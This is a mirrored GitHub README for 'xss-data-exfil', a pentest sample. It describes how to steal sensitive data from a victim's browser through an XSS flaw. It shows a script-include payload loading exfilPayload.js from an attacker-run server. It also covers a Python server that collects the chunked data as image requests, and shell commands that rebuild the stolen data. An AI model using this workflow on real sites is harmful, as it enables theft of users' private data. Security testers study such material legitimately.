GithubHelp home page GithubHelp logo

waspthebughunter / xss-data-exfil Goto Github PK

View Code? Open in Web Editor NEW

This project forked from hoodoer/xss-data-exfil

0.0 0.0 0.0 11 KB

Sample code for exfiltrating data through an XSS vulnerability. XSS Payload retrieves sensitive data in victim's browser, then breaks it into chunks. Sends those chunks out as image requests (data in image filename). Example commands and python script to put the original data back together.

License: The Unlicense

JavaScript 54.95% Python 45.05%

xss-data-exfil's Introduction

XSS-Data-Exfil

Sample code for exfiltrating data through an XSS vulnerability. XSS Payload retrieves sensitive data in victim's browser, then breaks it into chunks. Sends those chunks out as image requests (data in image filename). Example commands and python script to put the original data back together.

Blog post with screenshots and walkthrough here: https://www.trustedsec.com/blog/simple-data-exfiltration-through-xss/

Basically you tailor the exfilPayload.js file to grab the sensitive data your victim has access to.

Then in you pull that JavaScript file into the browswer by doing a script include in the XSS vulnerability:

<script src="http://127.0.0.1/exfilPayload.js"></script>

Start up a python HTTP server in the directory whwere exfilPayload.js is: python -m SimpleHTTPServer 80

The exfilePayload.js will send to that same server the chunks of the data being exfiltrated.

Copy those requests into a text file, clean it up with: grep '/exfil/' exfilledData.txt | awk -F'/exfil/' '{print $2}' | awk -F'/' '{print $1 " " $2}' | awk -F'.jpg' '{print $1}' | while read i; do echo $i ; done > exfilledDataCleaned.txt

Then use the python script in this repo.

Then you can put the chunks back together finally with: for file in ./{0..225}.chunk; do cat $file | base64 -d; done > restoredSuperSecretData.html

The blog post should make it clearer.

@hoodoer

xss-data-exfil's People

Contributors

hoodoer avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.